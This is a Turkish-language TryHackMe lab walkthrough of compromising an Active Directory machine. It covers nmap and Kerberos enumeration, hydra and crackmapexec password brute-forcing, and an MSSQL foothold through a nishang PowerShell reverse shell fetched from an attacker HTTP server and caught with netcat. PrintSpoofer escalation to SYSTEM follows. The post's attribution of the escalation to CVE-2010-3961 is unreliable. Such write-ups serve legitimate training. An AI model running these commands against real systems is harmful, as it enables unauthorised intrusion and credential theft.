TryHackme -USTOUN
Merhaba ,
Bu makine bir Active Directory makinesi.Elimizde test yapacagımız bir IP den başka bilgi yok.Bütün bilgilere tek tek kendimiz ulaştık.Sonucunda ise mssql den Invoke-PowerShellTcp.ps1 ile shell e ulaşmayı başardık.Yetki yükseltme kısmı daha güzeldi. SeImpersonatePrivilege den kaynaklı güvenlik açıgından(CVE-2010–3961-Consent UI Impersonation Vulnerability) yararlandık. Hadi başlayalım.
sudo nmap -Pn -sS -sV -sC -A -vv 10.10.237.167
Görüldüğü üzere bu bir Windows makinesi,kerberos ve active directory ldap bilgileri olayı anlamama yardımcı oluyor.Bunlar dışında mssql açık portu , diğerlerinden biraz daha fazla yogunlaşacagım kısmı gösteriyor aslında.
Birde LDAP sorgularını genişletip bilgi toplamaya devam ediyorum.
nmap -n -sV — script “ldap* and not brute” 10.10.237.167 #Using anonymous credentials
Buradan alan adının ustoun.local oldugunu görebilirsiniz.isterseniz ip le devam edip isterseniz direk /etc/hosts a ip yi ekleyerek devam edebilirsiniz.
Bilgi toplamaya devam edelim smbclient a da bakalım, bu paylaşımlara password suz bağlanamıyorum.
Kerbrute dan önce LDAP ile önceden bildiğim guest ve administrator user ları için password bulabilecek miyim , hydra ile bunu denedim fakat sonuç alamadım.
hydra -l administrator -P /usr/share/wordlists/SecLists/rockyou.txt 10.10.11.77 ldap2 -V -I -f
hydra -l administrator -P /usr/share/wordlists/SecLists/rockyou.txt 10.10.11.77 ldap3 -V -I -f
Buradan sonra kerbrute ile neler yapabiliriz bir bakalım :
Geçerli kullanıcıları görebilir miyiz ?
Görüldüğü gibi 2 geçerli kulanıcı var guest ve administrator.
Nmap ile görüntülemek istersek :
nmap -p 88 — script=krb5-enum-users — script-args krb5-enum-users.realm=’ustoun.local’,userdb=/usr/share/seclists/Usernames/cirt-default-usernames.txt 10.10.237.167
Elimizde smb ile bağlanabiliriz bilgisi, bir ip, ve guest kullanıcısı var fakat daha fazla bilgiye ihtiyacımız var en azında başka bir user , yada başka user ın parolasu vs.
Crackmapexec bize bir şeyler gösterir mi deneyelim,
crackmapexec smb 10.10.220.244 -u guest -p ‘’ — rid-brute
Burada kullanıcıları SidTypeUser temsil eder, böylece iki kullanıcı daha bulduk.
SVC-Kerb
krbtgt
Crackmapexec ile buldugumuz user için parola bulabilecek miyiz, buna geçmeden önce yukarıda yaptıgım rid brute işleminden bahsetmek istiyorum.
RID, yani Relative Identifier , Active Directory objelerin benzersiz kimlik numaralarını temsil eder.RID oluşturulurken (otomatik oluşturulur) AD nin oluşturdugu ilgili domain in kimlik numarasıyla oluşturulur.Bu oluşan değer ise hepimizin sıkça gördüğü SID den başka bir şey değildir.
(EXTRA : RidEnum kullanıcı hesaplarını boş oturumlar ve SID’den RID’ye numaralandırmaya çalışan bir RID cycling attack dır.
Example: ./ridenum.py 192.168.1.50 500 50000 /root/dict.txt /root/user.txt
Usage: ./ridenum.py <server_ip> <start_rid> <end_rid> <optional_username> <optional_password> <optional_password_file> <optional_username_filename>
)
Şimdi Crackmapexec ile buldugumuz SVC-Kerb için brute force deneyelim :
crackmapexec smb ustoun.local -u SVC-Kerb -p /usr/share/wordlists/rockyou.txt
Güzel istediğimiz password u bulduk.
Şimdi iseyukarıda bahsettiğim mssql den bir yerlere girebilecek miyiz bunu deneyelim, bunun için impacket de gelen mssqlclient.py işimizi görecektir.
Get Saniye Nur’s stories in your inbox
Join Medium for free to get updates from this writer.
locate mssqlclient
/usr/share/doc/python3-impacket/examples/mssqlclient.py
yerini bulduk, şimdi buradan devam edebiliriz,
Buradan devam etmeden önce msfconsole da neler yapabiliriz bir de ona bakalım :
İster buradan devam edin, ister impacket de mssqlclient.py dan ,
Ben mssqlclient dan devam edeceğim , şimdi burada önce C: içinde tmp oluşturalım ve içine internetten github dan da bulabileceğimiz Invoke-PowershellTcp.ps1 powershell ini yükleyelim :
Fakat bunu kullanırken shell in içini değiştirmeyi unutmayalım ,
Kod sonuna ip mizi ve dinleme yapacagımız poru ekliyoruz.
Invoke-PowerShellTcp -Reverse -IPAddress 10.4.34.255 -Port 443
(https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)
Bu işlemi yaparken kendi makinemizi de dinlemeye almayı unutmayalım :
python3 -m http.server 80
nc -nlvp 443
Ve içerdeyiz.
Fakat gördüğünüz gibi hiç bir şeye yetkimiz yok.Buradan sonra SeImpersonatePrivilege ile devam ediyoruz.
SeImpersonatePrivilege olarak google da aradıgım zaman ise printspoofer dikkatimi çekiyor.
printspoofer.exe yi upload ettikten sonra Sonuca yavaş yavaş yaklaştıgımızda ise SeImpersonate Privilege in ne oldugunu da konuşalım.SeImpersonatePrivilege veya “Kimlik doğrulamasından sonra istemcinin kimliğine bürün” kullanıcı hakkı, ilk olarak Microsoft Windows 2000 Service Pack 4'te kullanılmaya başlanan bir güvenlik ayarıdır.Varsayılan olarak, aygıtın yerel Yöneticiler grubunun üyelerine ve aygıtın yerel Hizmet hesabına “Impersonate a client after authentication”, “Kimlik doğrulamasından sonra bir istemciyi taklit edin” kullanıcı hakkı atanır.
Bir kullanıcıya “Kimlik doğrulamasından sonra bir istemcinin kimliğine bürünme” kullanıcı hakkını atadığınızda(daha iyi anlaşılması için açığın türkçe anlamını yazmak daha mantıklı geldi), o kullanıcı adına çalışan programların bir istemciyi taklit etmesine izin vermiş olursunuz. Bu güvenlik ayarı, yetkisiz sunucuların RPC ile e kendisine bağlanan istemcileri taklit etmesine yardımcı olur.Bu açığın cve kodu CVE-2010–3961-Consent UI Impersonation Vulnerability Burada yaptıgımız işlem ise bu güvenlik açığından başarıyla yararlanan bir saldırgan olmak ve bu yetki ile özel hazırlanmış kodu(printspoofer.exe ) LocalSystem ayrıcalığıyla çalıştırabilir kılmak. Bununla gördüğünüz gibi program yükleyebildik verileri görüntüleyebildik, aynı zamanda değiştirebilir veya silebiliriz; tüm kullanıcı haklarına sahip olan yeni hesaplar oluşturabiliriz.
printspoofer.exe
Windows Server 2016, Server 2019 ve Windows 10'da hizmet kullanıcı izinlerini yükseltmek için kullanılabilen PrintSpoofer istismarı.
Ayrıcalıkları yükseltmek için hizmet hesabının SeImpersonate ayrıcalıklarına sahip olması gerekir. Yürütmek için:
PrintSpoofer.exe -i -c cmd
İşlem tamam.
(EXTRA: Bir sistem process i oluşturmak ve etkileşime girmeden hemen çıkmak için :
Masaüstünde bir sistem process i oluşturmak için
)










